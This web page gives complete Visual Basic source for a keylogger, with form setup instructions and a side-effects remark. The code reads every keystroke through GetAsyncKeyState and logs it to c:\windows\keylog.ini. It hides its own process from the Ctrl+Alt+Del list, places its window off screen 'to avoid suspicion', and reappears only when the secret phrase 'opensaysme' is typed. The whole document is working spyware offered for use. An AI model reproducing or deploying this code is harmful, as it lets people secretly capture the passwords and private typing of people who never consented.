KeyLoger




' copy into module

Public Declare Function GetCurrentProcessId _
Lib "kernel32" () As Long ' get this process
Public Declare Function RegisterServiceProcess _
Lib "kernel32" (ByVal dwProcessID As Long, _
ByVal dwType As Long) As Long
'and Then un-register it!


Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
'seems odd, the way these are named


Public Sub HIDECAD()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub

Public Sub SHOWCAD()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub

Private KeyResult As Long
'no real need For this, just gives you that warm fuzzy feeling

Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
'get the current state of the keys


Private Sub Command1_Click()
HIDECAD 'hide program in ctrl+alt+del , even more cloaking
Form1.Top = Screen.Height + 100 'put the form off screen, undetectable
End Sub

Private Sub Command2_Click()
End ' Exit program
End Sub

Private Sub text1_Change()
If Right(Text1.Text, 10) = "opensaysme" Then
'if user types secret access code

Text1.Text = (Left(Text1.Text, Len(Text1.Text) - 10))
'remove bad access code from list

SHOWCAD ' show in ctrl + alt + del
Form1.Top = (Screen.Height / 2) + (Form1.Height / 2)
'put in middle of screen

End If
'now, to save to the logfile

On Error Goto erre 'in Case of non exist, create
Open "c:\windows\keylog.ini" For Input As #1
Input #1, a ' Get old logfile
Close #1
Open "c:\windows\keylog.ini" For Output As #1
Print #1, a ' Take Old Data
Print #1, Text1.Text ' And Append New Data
Close #1
Exit Sub ' unless Error has occoured, exit sub, we're done
erre:' Error has occoured
Open "c:\windows\keylog.ini" For Output As #1
Print #1, Text1.Text ' Start New Logfile
Close #1
End Sub

Private Sub Timer1_Timer() ' set to around 20 to avoid suspicion
Dim shift As Boolean
Dim shiftc As Boolean
erre:

For i = 1 To 300
If shiftc = True Then ' |
shiftc = False '|
Else ' | This is to allow the shift key to pick up
shift = False ' | and modify the Next char!
shiftc = True ' |
End If
KeyResult = GetAsyncKeyState(i)
On Error Goto erre
If KeyResult = -32767 Then
Select Case i
Case Is = 8
Text1.Text = Text1.Text & " BKSP "
Case Is = 16
shift = True ' CHANGES TEXT TO UPPER Case
Text1.Text = Text1.Text & " SHIFT "
Case Is = 112 ' Function KEYS
Text1.Text = Text1.Text & " F1 "
Case Is = 113
Text1.Text = Text1.Text & " F2 "
Case Is = 114
Text1.Text = Text1.Text & " F3 "
Case Is = 115
Text1.Text = Text1.Text & " F4 "
Case Is = 116
Text1.Text = Text1.Text & " F5 "
Case Is = 117
Text1.Text = Text1.Text & " F6 "
Case Is = 118
Text1.Text = Text1.Text & " F7 "
Case Is = 119
Text1.Text = Text1.Text & " F8 "
Case Is = 120
Text1.Text = Text1.Text & " F9 "
Case Is = 121
Text1.Text = Text1.Text & " F10 "
Case Is = 122
Text1.Text = Text1.Text & " F11 "
Case Is = 123
Text1.Text = Text1.Text & " F12 "
Case Is = 32
Text1.Text = Text1.Text & " SPACE "
Case Is = 13
Text1.Text = Text1.Text & " ENTER "
Case Is = 27
Text1.Text = Text1.Text & " ESC "
Case Is = 46
Text1.Text = Text1.Text & " DEL "
Case Is = 18
Text1.Text = Text1.Text & " ALT "
Case Is = 17
Text1.Text = Text1.Text & " CTRL "
Case Is = 91
Text1.Text = Text1.Text & " WINKEY "
Case Is = 32
Text1.Text = Text1.Text & " SPACE "
Case Is = 9
Text1.Text = Text1.Text & " TAB "
'Next four are Arrow Keys

Case Is = 37
Text1.Text = Text1.Text & " <- "
Case Is = 38
Text1.Text = Text1.Text & " ^ "
Case Is = 39
Text1.Text = Text1.Text & " -> "
Case Is = 40
Text1.Text = Text1.Text & " \/ "
Case 65 To 90
'letters, note the use of lcase to use when

'without shift!

If shift = True Then
Text1.Text = Text1.Text & Chr(i)
Else ' have to make lower cause of some darn vb thing
Text1.Text = Text1.Text & LCase(Chr(i))
End If
Case 48 To 57
'numbers , also /w shift does char such as !@#$%^&*()

If shift = False Then
Text1.Text = Text1.Text & Chr(i)
Else ' If shift is down, do funky symbols
If i = 48 Then Text1.Text = Text1.Text & ")"
If i = 49 Then Text1.Text = Text1.Text & "!"
If i = 50 Then Text1.Text = Text1.Text & "@"
If i = 51 Then Text1.Text = Text1.Text & "#"
If i = 52 Then Text1.Text = Text1.Text & "$"
If i = 53 Then Text1.Text = Text1.Text & "%"
If i = 54 Then Text1.Text = Text1.Text & "^"
If i = 55 Then Text1.Text = Text1.Text & "&"
If i = 56 Then Text1.Text = Text1.Text & "*"
If i = 57 Then Text1.Text = Text1.Text & "("
End If
Case Is = 1
'can anybody tell me what this does?

'seems to happen evry btn click!

Case Is = 190
Text1.Text = Text1.Text & "."
Case Is = 188
Text1.Text = Text1.Text & ","
Case Else
rem MsgBox i
'remmed out for secrecy!

End Select
End If
Next
End Sub


Assumes:
form (form1),
2 command buttons (command1, caption: HIDE) (command2, caption: END)
textbox (text1, multiline:true)
module (module1)

Side Effects:
a SLIGHT proccesor usage increase, not noticable ina p2 or greater











( keyloger.html )- by Paolo Puglisi - Modifica del 17/12/2023